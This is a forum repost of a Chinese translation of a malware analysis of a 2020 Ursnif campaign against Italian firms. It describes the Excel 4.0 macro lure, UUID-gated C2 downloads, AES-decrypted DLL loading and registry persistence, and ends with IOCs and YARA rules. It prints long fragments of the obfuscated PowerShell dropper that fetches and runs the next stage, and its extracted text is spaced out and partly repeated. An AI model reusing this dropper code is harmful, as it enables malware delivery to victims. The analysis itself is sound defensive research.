搜索

[15376] 2020-05-15_Ursnif针对意大利公司的新攻击

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-05-15_Ursnif针对意大利公司的新攻击 U r s n i f 针 对 意 大 利 公 司 的 新 攻 击 A v e n g e r   F r e e B u f   2 0 2 0 - 0 5 - 1 5 介 绍 介 绍 U r s n i f   是 十 分 活 跃 的 威 胁 之 一 ， 通 常 针 对 意 大 利 和 欧 洲 多 个 行 业 发 起 垃 圾 邮 件 攻 击 。 是 十 分 活 跃 的 威 胁 之 一 ， 通 常 针 对 意 大 利 和 欧 洲 多 个 行 业 发 起 垃 圾 邮 件 攻 击 。 最 近 ， 发 现 了 一 种 针 对 意 大 利 公 司 的 新   U r s n i f   变 种 。 垃 圾 邮 件 使 用   A v v i s o   d i   P a g a m e n t o _ x x x x _ d a t e   为 标 题 的 附 件 （ x x x x   是 数 字 ， d a t e   是 d d - m m - y y y y 格 式 的 日 期 ） ， 比 如 A v v i s o   d i P a g a m e n t o _ 1 4 3 2 6 _ 1 5 _ 0 4 _ 2 0 2 0 。 我 们 发 现 本 轮 攻 击 中 U r s n i f / I S F B   D r o p p e r 使 用 技 术 发 生 了 重 大 的 变 化 ， 采 用 了 新 技 术 来 避 免 检 测 ， 并 且 对   U r s n i f 感 染 链 进 行 了 重 大 的 升 级 改 变 。 技 术 分 析 技 术 分 析 与 U r s n i f 恶 意 软 件 家 族 的 其 他 样 本 相 比 ， 本 次 针 对 意 大 利 公 司 使 用 的 样 本 包 含 一 些 重 要 的 升 级 ， 而 且 攻 击 链 有 着 显 著 的 变 化 。 首 先   D r o p p e r   使 用   E x c e l   4 . 0   宏 （ X L M   宏 ） 降 低 反 病 毒 引 擎 的 检 出 率 ， 随 后 使 用 两 个 不 同 的   C & C ， 其 中 一 个   C & C   服 务 器 仅 用 于 记 录 失 陷 主 机 的   U U I D   标 识 。 下 图 是 本 次 U r s n i f 攻 击 行 动 的 完 整 感 染 链 ： 旧 宏 代 码 旧 宏 代 码 本 次 全 新 的 U r s n i f 攻 击 行 动 是 使 用 带 有 嵌 入 X M L 宏 的 恶 意 电 子 邮 件 附 件 展 开 的 。 以 下 是 D r o p p e r 的 静 态 信 息 ： 哈 希 哈 希 5 f 9 d a 8 1 3 4 e e c e 8 b 2 5 f 6 d 4 d a 2 8 1 5 d 4 9 c c 1 e a 7 a 5 e 9 d 2 b 1 8 c e c 5 4 9 a 1 e e 4 7 0 1 0 c 3 9 4 威 胁 U r s n i f   X L S   文 档   D r o p p e r 大 小 3 9 . 0   K B   （ 3 9 9 3 6   字 节 ） 文 件 类 型 M S   E x c e l   文 档 简 要 描 述 嵌 入   X M L   宏 代 码 的   U r s n i f   X L S   文 档   D r o p p e r s s d e e p D e b 3 e T l Y k E I b S k K B E q E X P g s R Z m b a o F h Z h R 0 c i x I H m 0 L z X 7 4 b T P u Q : D e a T l Y k E I b S k K B E q E X P g s R Z m b a o F h Z h q 打 开 文 件 ， 看 起 来 就 像 是 未 填 写 的 * * 。 页 面 上 有 一 个   V i s u a l i z   按 钮 ， 诱 使 受 害 者 点 击 触 发 感 染 。 点 击 该 按 钮 后 ， 将 启 动 旨 在 感 染 目 标 计 算 机 的 代 码 ： 该 文 件 在 结 构 上 与 过 去 的 恶 意 样 本 相 似 ， 内 容 差 别 较 大 。 安 全 告 警 显 示 文 档 中 包 含 动 态 内 容 ， 经 过 深 入 检 查 后 可 以 发 现 嵌 入   E X C E L   4 . 0   宏 （ X M L / X L F   宏 ） 的 存 在 。
动 态 内 容 是 使 用   P o w e r s h e l l   编 写 的 ， 并 且 被 拆 分 到 多 个 单 元 格 内 ， 然 后 使 用 某 些 预 置 的 处 理 程 序 进 行 评 估 ： 用 户 点 击   A l l o w   C o n t e n t   可 触 发   F r a m e 1 _ L a y o u t   函 数 。 最 后 会 重 新 组 装 恶 意 宏 代 码 ， 使 得 文 档 弹 出 一 个 窗 口 ， 通 知 用 户 文 档 已 经 损 坏 。 当 用 户 点 击 时 ， 宏 代 码 会 终 止   E x c e l   进 程 ， 但   P o w e r s h e l l 会 继 续 在 后 台 执 行 。 重 新 组 装 宏 代 码 后 ， 提 取 的 宏 代 码 是   U r s n i f   的   D r o p p e r ： 去 混 淆 后 ， 代 码 简 化 如 下 所 示 ： D r o p p e r   使 用   b a s e 6 4   编 码 、 字 符 串 替 换 （ 多 个   { }   序 列 ） 和 字 符 串 大 写 （ 大 小 写 序 列 ） 。 执 行 宏 代 码 后 ， D r o p p e r   将 会 连 接   n e w u p l o a d s w i f t   [ . ] p w   域 名 下 载 下 一 阶 段 的   P a y l o a d   并 使 用   P o w e r s h e l l 执 行 。 去 混 淆 后 ， P o w e r s h e l l   变 成 如 下 所 示 ： 在 此 处 ， 恶 意 软 件 使 用 了 一 个 特 殊 的 技 巧 保 证 唯 一 感 染 。 在 前 面 的 代 码 段 中 ， 已 经 看 见 了 该 计 算 机 的   U U I D   创 建 ， 该   U U I D   值 被 作 为   G E T   请 求 的 参 数 。 如 果 第 二 次 使 用 相 同 的   U U I D   发 送 G E T   请 求 ， 服 务 器 将 返 回 一 个 空 响 应 。 而 如 果   U U I D   被 第 一 次 发 送 给 服 务 器 ， 将 返 回 感 染 的 下 一 阶 段 。 如 上 所 示 ， 响 应 体 已 经 被 加 密 了 。 由 上 面 代 码 中 显 示 的   A E S   解 密 代 码 解 密 ， 随 后 通 过   r e g s r v 3 2 . e x e   进 程 执 行 。 L o a d e r P a y l o a d   如 下 所 示 ： 哈 希 哈 希 e 3 2 c 5 9 2 8 1 9 d 8 2 5 8 5 1 b a e 8 4 a 3 3 b f 5 f a 1 a 2 6 e 0 a 5 7 a 1 4 c 0 e 4 b 8 c 3 e 8 4 5 c 1 1 1 7 9 9 8 a 0 威 胁 U r s n i f   L o a d e r 大 小 2 8 9 . 5 0 K B （ 2 9 6 4 4 8   字 节 ） 文 件 类 型 D L L 简 要 描 述 能 够 注 入 内 存 的   U r s n i f   L o a d e r s s d e e p 6 1 4 4 : y d L G 0 c c + H X n 8 z A z a F V q G 9 a l d c 3 w 0 Q B A 8 Y s 3 6 c M s u + a : y 5 G j s E z a K G 4 X c L s 3 i s u + a i m p h a s h f 1 1 f f 0 b 8 c 4 9 9 a f 0 d 9 8 f 0 0 2 9 9 b 9 7 3 3 9 c f 该 组 件 是   U r s n i f   的   P a y l o a d   的 加 载 程 序 ， 写 入 注 册 表   H K C U S o f t w a r e A p p D a t a L o w S o f t w a r e M i c r o s o f t M i c r o s o f t [ R A N D O M I D ]   作 为 持 久 化 机 制 。 s a l   u u   N e w - O b j e c t ;   & (   ( [ s t R I N G ] $ V E r B o S e P R e f E r E N c e ) [ 1 , 3 ] + ' X ' - J o I N ' ' )   (   u u   i o . c o m p R E S S i O N . d e f L a T E s t r E a M ( [ s y s t e m . I o . m e M o R y s T r E a M ]   [ c o n V e r T ] : : F R O M b A S E 6 4 S t r i N G (   ' Z V U L U 9 p K F P 4 r O x m u m 6 0 Q S X h p G W Y u a l o o P l r B 1 t b L 3 E R Z J S U m S J Y q T f e / 3 + 8 s y G P u D N k X 5 / G d N 2 O F e F K v 3 v k t x m 7 V Y i q H t p V X d N 7 Q + a H O P Z 1 X d e 6 6 + H R e 1 3 k N h 7 L O 8 T v S F i t 9 Y P w q U h 1 e 5 J e P s / Z n 7 N d X E d Y + v s H C O c H W z r C M v z t E 9 L 0 / w O o / O Z l / j 8 M 5 v k 7 7 7 P E S + 9 V i q r h g r M n Y H g * * p M M q P T A u l Z E n m N t v M B s Y B 4 v P b x h d A 7 C 8 Q i I v T i 5 H 3 Y u P p F v e Y F U O s S 6 y g X / u Q I C A 8 M J R f + L 9 Y C 2 S 4 g / X i p j R 9 O i / g m H G R b O Q d 3 t B e h Z c 9 n W r 3 P w w T + 5 V l C Z s E I z t 2 7 6 a R c n j k B X y z k I X C / n H Y K x b 1 v l p z R I 5 3 n B x b D 6 f Q y H E l w 3 I q n F c h d C S K u O e R a b k k z O Q r 8 o h i X i R M y z x C E u C 7 / F 4 H g E J Q 3 h 6 9 e q x / / 4 9 x H l 6 B z C h l S E 5 6 I Q L p 5 v 8 S i f S B q K O F o 5 1 f 3 k + D a 4 H / r g d 9 D s W P G c z Z 4 n I 0 0 v n w b + c v O W T c l X 6 R d G a d c P j M w o E u Z s J 5 2 s 7 v o Z u a z 4 I P h x a z p v H y B J w S 3 W 8 I P U k R W b b G D r B d y 3 E H 7 j i L y 7 y 2 6 9 p N B o W 8 n H Q 0 c 6 b W 0 h A e z o l 1 m S 0 z f v v F g 2 5 a 5 D 2 S Q m 5 f U N m v X q W E B q h 6 n R 2 6 R k x U P h 3 G U D 7 8 B b I j r J v s 3 U c / c D X I h + l C N + 1 b p V + p l F i 2 0 c N x 3 E 9 T / z Z 2 7 W Z M r J 0 F S a j d G X 3 E 7 x V O k n n i W K V t b 3 3 4 3 A 2 J E u 0 0 C / j K J a 2 v W d z N e b C J i U C L E m q 4 m g i G X / H 9 w u 5 D K Q W z Z l U 8 1 n C i I Q s e w 1 O d e t / Y S d f h K P s J X r A Y T 6 N U 5 O w 4 + C 3 b v E w y z g u X 3 T L w z a K 8 D R 9 4 R v D B x n 0 d z 9 p S t V B E P V 0 y 1 y b 0 Q P e V d D t a V Z 6 C t X 9 m H l E c j M i g g 5 E k 7 S A x H E 6 H g d d 3 a J i 6 n k / T G J u 1 e s 0 D u / l s o 4 2 I Y X o i S 7 y f 5 D d S 7 M E q d x b 2 l Z d m Y e s X C U 2 w E J C m l A h D M z J J J g q n V B Z Q X 9 X w 2 e n Q L H 2 v c t K z / N I K o J 9 Z 4 D u 8 7 H C o q Z 8 f w s h P 4 C o 7 P 0 B F / u G E O s I 0 v C 8 T 3 Z F e p X j 3 h u 9 y S L 0 k f k d M a p t q 5 5 1 k Z G z h Z Z x J k k x + Y X e 9 S a U J J N 8 J n X r b 3 s 7 9 x P 5 4 k I k W l O R I 4 T r G E 2 C * * g 6 + w w b v D A G e G Q O L B H 2 b p K / A 2 9 d u q g c I f Z 3 O x n 1 v T C K Y a L t b H g 3 M S J L 3 h 3 V H o j 1 D S g I V W b S 8 2 y q T V 3 d B M + m l 6 m + e f b 1 b X k o l p n y G n x B o s j n p f W U K H h o A W c v 4 Y Z 3 s d M F 1 + V D 1 X x H U + F C K u c b Z U k c y U S Z B F 5 o x + r I o D 2 S V 9 m m 0 Z C j R t Q T 2 x v H r / u q t 7 L 3 O j P t s 9 S m v m n k F Z m x u L 5 U j A S r e G a k H e G 0 H G Z e 2 Q w 0 z 1 u 3 5 7 K Z e C 6 o P F w 9 k H r u a v Z R 6 w a x u + z i N A F d G o 5 E D j I X M j w i A a t b X f e J 9 D c l c b 3 a Z K / 1 q m B o d b H 8 R i 8 e l k P H L X s M h w Y F q 1 J n N r Z I H d S w l c 2 F B u a 3 C H 3 m h b I v p G L / S B 5 r 4 K P p 6 R 5 W a L L O 0 i d 5 0 C g 7 Z a d S q 6 y G K p V M a G Y K v c i 7 H l a 2 u j n Q 5 Y 8 e J Z V B H I e 0 n Z 8 V 6 d 9 J K t i J E U y Q D B J q U N i I P 2 M X A + Z C T 5 M B F R 5 q j k k f E z j 4 u r q q 4 F V c E L b 0 J T E V Y 4 C Y G o r T k E J 5 u l 1 D N 8 + a x g R b D 1 b O H e t K n g d p 8 F V a 4 r Z a K 7 p e 0 W s M S 5 / Q l 1 E o / w E = ' $ l k 6 4 b E =   [ t y p e ] ( " { 3 } { 7 } { 8 } { 2 } { 4 } { 1 1 } { 1 } { 6 } { 5 } { 1 0 } { 0 } { 9 } "   - F   ' R i t H ' , ' O g r A P ' , ' U R i ' , ' S ' , ' T y . C ' , ' A s ' , ' h Y . H ' , ' Y S T ' , ' E m . s E c ' , ' M ' , ' H A L g O ' , ' R y p t ' )   ;   & ( " { 1 } { 0 } " - f   ' e t ' , ' S ' )   1 S 7   (   [ T y P e ] ( ' f V c J b 9 p I F P 4 r U y t b 2 w p Y J D 0 U B a F d w p F l S 6 C t I V G X R j v G D O D g g 9 g D C a X z 3 / d 7 t g O G R o 0 U H + N 3 f u 9 k u g p d 6 U U h s 5 t T 7 0 k Y J 9 s B H y h z S / d 5 V 9 V G s Z i J 5 / v L S 0 P b n q t t R W 3 P l F a e M l 0 s f b 2 k O 6 7 A N d Z N q x O u o w X x S 6 l K + v c J j n W z G g u 5 i k O G U z 7 3 l a p O X 9 R 9 e 2 q l u k S q y + M d q G p E 4 V r E M l M G T e 8 U q X y f q m T l q d 6 G T B l 7 4 Q x 3 8 f E 9 K Y 6 C K y f B g 3 1 g A W + p g u q O B 8 V v I f K M 7 I f x O l m e O L r J b l c s F E / l a P w g X F k 9 2 f q 8 W 1 e 1 E + N t Z s B 5 a k P q s D 4 T s g y 2 j B Q P T w E u H m T c e e G 7 8 / 8 a U b B c S R H b m 0 S K 4 H M c T V a u Z G U 3 P w 6 d Q D C L / W R 7 y Z l Y W / i Q R 5 J z u f 0 x Z J Z b z 0 s n n E D M E o B s 2 H D Y a Z q w z + H / P s K + b a t 3 y y 9 l i w e f F U 6 n / G q q a n B 8 o m q 5 / B y x m Z s b S a w / H t X P H Q y w I A 0 j x Y l c i 5 2 Q v A t 0 0 7 S 0 0 O F B C w J i B B k R Z p q 1 / a B O N K i 6 4 Z + g q Q g m g / y S f u 2 S 1 U t H z p l h w J I 6 / / F F W U V f G Z H K i I K W R T C R + 5 i Z + M v B y T A v 5 F m 5 P 3 6 g g K f o 3 O F / L p B v b A u f / l O W t r S 9 h L v 9 H h / U v V D E G l M / r U z M 3 k I / Y 6 Z U T c A 6 X f l + G p C U s g C H H k 7 I w G v g 8 d X B Q 0 B O u d E q l O w M s L R X f j f k d X 4 j t F P 9 u 3 6 a I t 9 W p 7 q l 7 x O 7 5 3 W 7 a W Z v + m l q L / i D q l m G f r u C s E 7 f u h F B F G 9 s G Q s n M E q U r E Q I a A M e A N o C Z U b z V T g T E Q P y 3 T m l W i y S B N q s 6 x / e M p d F q v 5 R p d E R R e H 5 J p o I F J c 2 4 a 1 G H 7 k T t + x E A / I 5 C u c 7 v E L K C l I 8 o J x o F e K 0 r 6 o b f p O X V W U f X y p F x 4 e Z Q f L I 0 D m S d f z u H L 7 Z f K h q + i p B 5 F l W I d X i i 2 U L d x V 7 c m M 1 4 s 1 S R r P Y W c 4 3 h y Q D 8 S y r y 9 X Y 9 1 z m + k 6 S s P p 0 m 7 8 n 0 p G 4 j T d S j O 5 Z E P l G / r h Y l P C R E o 7 5 D + Y 2 P 3 3 w F q x G h c + G g / Z F K 3 S j C S g M 0 0 L g r 0 C S G C C u 1 g V U t O x O s P R F I E J S g f D W G M 5 h p n C k M D R 8 1 0 B 5 T G V 9 E h t Q Q s 8 r 3 y g K + N j w l k h k e r F a j a t q J / N 8 g D p M p l E c s O P 3 2 q / G 5 G Y 0 h Z v S x v v w H D F b u 6 e 2 F z r + l R + 5 * * O w q Z Q A k d U V 4 U z O z a p 6 F U 4 X 2 Z d j e A R n r o z w z l u 3 1 c 4 6 M r q z n d J B i 1 k i 4 m P h u Z g p U H w 9 V r n w 1 6 O U C y f N x A b 6 3 y n 4 r f W / V U C + 7 x U o v W r t 8 h 3 d o o 5 s n 0 z K g 8 1 S U K O g e 1 N M v d B L M + V k m 6 w K A y 9 K P H S D G + r e z / y L Q v N 4 R O f 4 k 7 p I l 6 Y O R O v 2 G n I u w B l Q Z e n 2 L V 5 l p c t e a Y s e N b O Q u l p P 0 N W 6 E + M G K i 8 V Q x 3 / 1 o k 9 Z + y L y y u 2 a x 7 G U b l 2 a K C K o E j 9 H f r Q 6 t a 8 3 h 0 K z d x Z 1 W T F B Y B m i z N p U o + U d G l G T 6 E f 6 W Y 6 j J o 2 + p g x y s J 6 T 8 q v S c I V K 9 8 6 / k q g 3 d B Z 1 y 6 q b U L n r c O 7 w 5 a G p 0 6 P 3 / Y X Q k s J r z t F w g s y r t 7 l Z J y 5 y / e 3 h b A w v U c T q d v V T f T E N p 8 k y i z E Y S H 8 N Q L R z m d l N i T Y y x y L k s w J f B 3 V p 9 k m s l s b C P K p L G 4 a k F K i r c G v K + t w Q d J X 4 z T X a L x m Y + e F q 1 I 6 + 2 i S k i H l Q r u p D t p v N i Z f R u Q K l / E h L 3 E K 3 k 5 5 + Y 4 5 b 9 y Y L e u j h S x n 6 f M + s R A n K y d L 3 5 P 6 G x 3 n 6 x i e U m + 1 X g q A J s R Q 8 v a F V k X H E I 4 7 h 6 N 9 x T x K 6 a i v R p V 7 m m s R H w 5 U 7 S 8 j E 0 5 b E x z a l U c + T w d R Y + 7 E 9 T i m u Y D / T X G U Q M Y v M X h q g e p b G j m a i j A A T 9 g N K 1 U o 9 2 C 6 L x l 9 s j S X R 8 N w o N F 5 R 5 2 e 5 i Z J x U 5 r b O R C 6 7 0 x o m Z + T + Q j Y r 5 n 5 f F z F O 9 O 6 3 T c U X 8 Q I + K n N f p D 3 h t o 9 6 a i p c q 2 X / C y N O x B C D F 3 K S O J O g X h V H u j m Y j + m n 8 F y a z F B / Y g 5 h 7 v X W t k P c F j F u Y l 5 B W y c D Z O V 4 N O E Q B a T N d w f 4 F u U h 1 5 k T X 1 f L F b h n c b 4 x 0 G p U g L l 6 Z t 3 f e v N s W U D L C h l Q z r E N Y U 1 a c U 1 g W h W F j s z i s V r H Z U S 9 7 U O N r s X C 9 N X 1 o f g 4 V C 5 W F S 8 G v 5 t 5 b G 4 c P Z u b k V z 5 4 s r g E w M C C 7 H q k j J s T 4 S R W 6 J j W O x C f z x R I U Z x + o w S T + L w 7 v 1 j d i w F 5 H I n 2 / S x s g u V 8 / 9 H g B j w 9 w T H / L Z D 8 L j H y r h 4 d p U 5 1 h v / 4 f ' f u n c t i o n   S D f i w e ( $ { T ` T } ) { $ { T ` h L } = [ r e g e x ] : : ( " { 2 } { 0 } { 1 } " - f   ' e p l ' , ' a c e ' , ' r ' ) . I n v o k e ( $ { t t } , ' d ' , ' ' ) ; r e t u r n   $ { t ` h l } } ; f u n c t i o n   Y w E ( $ { T ` e } ) { $ { i ` I } = [ C o n v e r t ] : : ( " { 0 } { 3 } { 2 } { 4 } { 1 } "   - f ' F '
和 经 典 的   U r s n i f   恶 意 软 件 感 染 类 似 ， 该 样 本 也 会 将 配 置 字 符 串 以   b a s e 6 4   编 码 并 使 用   S e r p e n t   算 法 加 密 发 送 到   C & C   服 务 器 。 两 种 方 法 可 以 检 索 配 置 字 符 串 ： 第 一 种 是 使 用 进 程 内 存 中 的 密 钥 解 密 发 送 到   C & C   服 务 器 的 请 求 第 二 种 是 在 进 程 中 查 找 配 置 字 符 串 U r s n i f   本 次 攻 击 行 动 的 配 置 如 下 所 示 ： 结 论 结 论 通 过 持 续 的 跟 踪 分 析 ， 可 以 发 现   U r s n i f   的   T T P   在 随 着 时 间 改 变 ， 恶 意 软 件 在 规 避 检 测 与 反 分 析 上 的 技 术 正 在 迅 速 发 展 。 本 次 针 对 意 大 利 公 司 的 攻 击 在 保 持 基 本 特 征 和 功 能 不 变 的 前 提 下 ， 使 用   X L M   宏 来 降 低 反 病 毒 引 擎 的 检 出 率 ， 并 使 用 两 个 不 同 的   C & C   服 务 器 。 其 中 一 个   C & C   服 务 器 只 接 受   U U I D   跟 踪 失 陷 主 机 ， 该 机 制 可 以 更 好 地 跟 踪 恶 意 软 件 的 感 染 情 况 。 I O C 5 f 9 d a 8 1 3 4 e e c e 8 b 2 5 f 6 d 4 d a 2 8 1 5 d 4 9 c c 1 e a 7 a 5 e 9 d 2 b 1 8 c e c 5 4 9 a 1 e e 4 7 0 1 0 c 3 9 4 E 3 2 c 5 9 2 8 1 9 d 8 2 5 8 5 1 b a e 8 4 a 3 3 b f 5 f a 1 a 2 6 e 0 a 5 7 a 1 4 c 0 e 4 b 8 c 3 e 8 4 5 c 1 1 1 7 9 9 8 a 0 n e w u p l o a d s w i f t [ . p w y e f g w e o i u h f [ . x y z H K C U S o f t w a r e A p p D a t a L o w S o f t w a r e M i c r o s o f t M i c r o s o f t [ R A N D O M I D ] Y a r a * 参 考 来 源 ： 参 考 来 源 ： Y o r o i ， ， F B   小 编 小 编   A v e n g e r   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自   F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 k = k j r i s a u & s o f t = 1 & v e r s i o n = 2 1 4 1 3 1 & u s e r = 9 2 b d f 6 4 2 c d 2 b 2 4 f 7 1 c c b a e 3 5 1 c c b 9 a a 9 & s e r v e r = 1 2 & i d = 4 4 4 4 & c r c = e f 2 6 7 1 4 9 & u p t i m e = 1 2 0 8 9 & i p = * . * . * . * r u l e   l o a d e r X L S _ U r s n i f _ I t a l y _ A p r i l _ 2 0 2 0   { m e t a :             d e s c r i p t i o n   =   " Y a r a   r u l e   f o r   U r s n i f   X L S   l o a d e r   -   A p r i l   I t a l i a n   C a m p a i g n "             h a s h   =   " 5 f 9 d a 8 1 3 4 e e c e 8 b 2 5 f 6 d 4 d a 2 8 1 5 d 4 9 c c 1 e a 7 a 5 e 9 d 2 b 1 8 c e c 5 4 9 a 1 e e 4 7 0 1 0 c 3 9 4 "             a u t h o r   =   " C y b a z e   -   Y o r o i     Z L a b "             l a s t _ u p d a t e d   =   " 2 0 2 0 - 0 4 - 1 6 "             t l p   =   " w h i t e "             c a t e g o r y   =   " i n f o r m a t i o n a l " s t r i n g s :         $ s 1   =   " p o w e r s h e l l B "         $ s 2   =   { 7 3   6 1   7 0   7 3   2 0   5 0   6 F   7 7   6 5   7 2   5 3   6 8   6 5   6 C   6 C   2 0   2 D   6 1   7 2   6 7   2 0   2 7   7 3   6 1   6 C   2 0   7 5   7 5   2 0   4 E   6 5   7 7   2 D   4 F   6 2   6 A   6 5   6 3   7 4   3 B   2 0   2 6   7 B   2 8   7 D   2 0   7 B   2 8   7 D   7 B   5 B   7 D   7 3   7 4   5 2         $ s 3   =   { F F   0 9   0 1   1 7   F C   0 0   4 C   3 3   4 5   5 2   5 A   4 A   5 3   5 5   6 D   5 3   4 A   5 9   7 1   5 4   6 6   6 5   2 F   3 3   7 B   2 B   7 D   3 8   7 3   7 9   4 7   5 0   7 5   4 4   4 E   6 B   5 8   3 5   2 F   4 7   6 4   4 E   3 2   4 F   4 6   6 5   4 6   4 B   7 6   3 3   7 6   6 B   7 4   7 8   6         $ s 4   =   { 2 B   7 D   4 C   3 9   5 9   4 3   3 2   5 3   3 4   6 7   2 F   5 8   6 9   7 0   6 A   5 2   3 9   4 F   6 9   2 F   6 7   6 D   4 8   4 7   5 2   6 2   4 F   5 1   6 4   3 3   7 4   4 2   6 5   6 8   5 A   6 3   3 9   6 E   5 7   7 2   3 3   5 0   7 7   7 7   5 4   7 B   2 B   7 D   3 5   5 6   6 C   4 3   5 A   7 3   4 5         $ s 5   =   { 5 4   2 E   4 5   6 E   4 3   4 F   4 4   6 9   6 E   6 7   7 B   5 D   7 D   3 A   3 A   4 1   7 3   4 3   4 9   6 9   2 0   7 B   2 9   7 D   2 0   7 B   7 D   7 D   2 0   7 C   4 6   6 F   5 2   6 5   4 1   4 3   6 8   2 D   4 F   4 2   6 A   6 5   6 3   5 4   7 B   7 B   7 D   2 4   5 F   2 E   5 2   4 5   4 1   4 4   5 4 }         $ s 6   =   { 2 0   6 9   6 D   7 0   6 F   7 3   7 3   6 9   6 2   6 9   6 C   6 5   2 0   6 3   6 1   7 2   6 9   6 3   6 1   7 2   6 C   6 F   2 E } c o n d i t i o n :         $ s 1   a n d   ( 1   o f   ( $ s 2 , $ s 3 , $ s 4 , $ s 5 ) )   a n d   $ s 6 } i m p o r t   " p e " r u l e   p a y l o a d _ D L L _ U r s n i f _ M a r c h _ 2 0 2 0   { m e t a :             d e s c r i p t i o n   =   " Y a r a   r u l e   f o r   U r s n i f   p a y l o a d   -   A p r i l   I t a l i a n   C a m p a i g n "             h a s h   =   " E 3 2 C 5 9 2 8 1 9 D 8 2 5 8 5 1 B A E 8 4 A 3 3 B F 5 F A 1 A 2 6 E 0 A 5 7 A 1 4 C 0 E 4 B 8 C 3 E 8 4 5 C 1 1 1 7 9 9 8 A 0 "             a u t h o r   =   " C y b a z e   -   Y o r o i     Z L a b "             l a s t _ u p d a t e d   =   " 2 0 2 0 - 0 4 - 1 7 "             t l p   =   " w h i t e "             c a t e g o r y   =   " i n f o r m a t i o n a l " s t r i n g s :         $ b 1   =   " c : A b o v e I n d u s t r y F e a r r i n g c h a r g e l a r g e s e t E a r t h A g a i n s t . p d b "   a s c i i   w i d e         $ b 2   =   { 0 0   2 E   3 F   4 1   5 6   7 2   7 5   6 E   7 4   6 9   6 D   6 5   5 F   6 5   7 2   7 2   6 F   7 2   4 0   7 3   7 4   6 4   4 0   4 0 }         $ b 3   =   { 4 1   4 2   4 3   4 4   4 5   4 6   4 7   4 8   4 9   4 A   4 B   4 C   4 D   4 E   4 F   5 0   5 1   5 2   5 3   5 4   5 5   5 6   5 7   5 8   5 9   5 A }         $ b 4   =   { 6 5   0 0   6 E   0 0   2 D   0 0   ? ?   0 0   ? ?   0 0   0 0   0 0 }         $ b 5   =   " A - C 0 F 2 E 0 B 9 F A 8 E } h i d e . m e   V P N H i d e . m e . e x e "   a s c i i   w i d e C o n d i t i o n :         u i n t 1 6 ( 0 )   = =   0 x 5 A 4 D   a n d   p e . n u m b e r _ o f _ s e c t i o n s   = =   5   a n d     p e . i m p h a s h ( ) = = " f 1 1 f f 0 b 8 c 4 9 9 a f 0 d 9 8 f 0 0 2 9 9 b 9 7 3 3 9 c f "   a n d   a n y   o f   t h e m }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理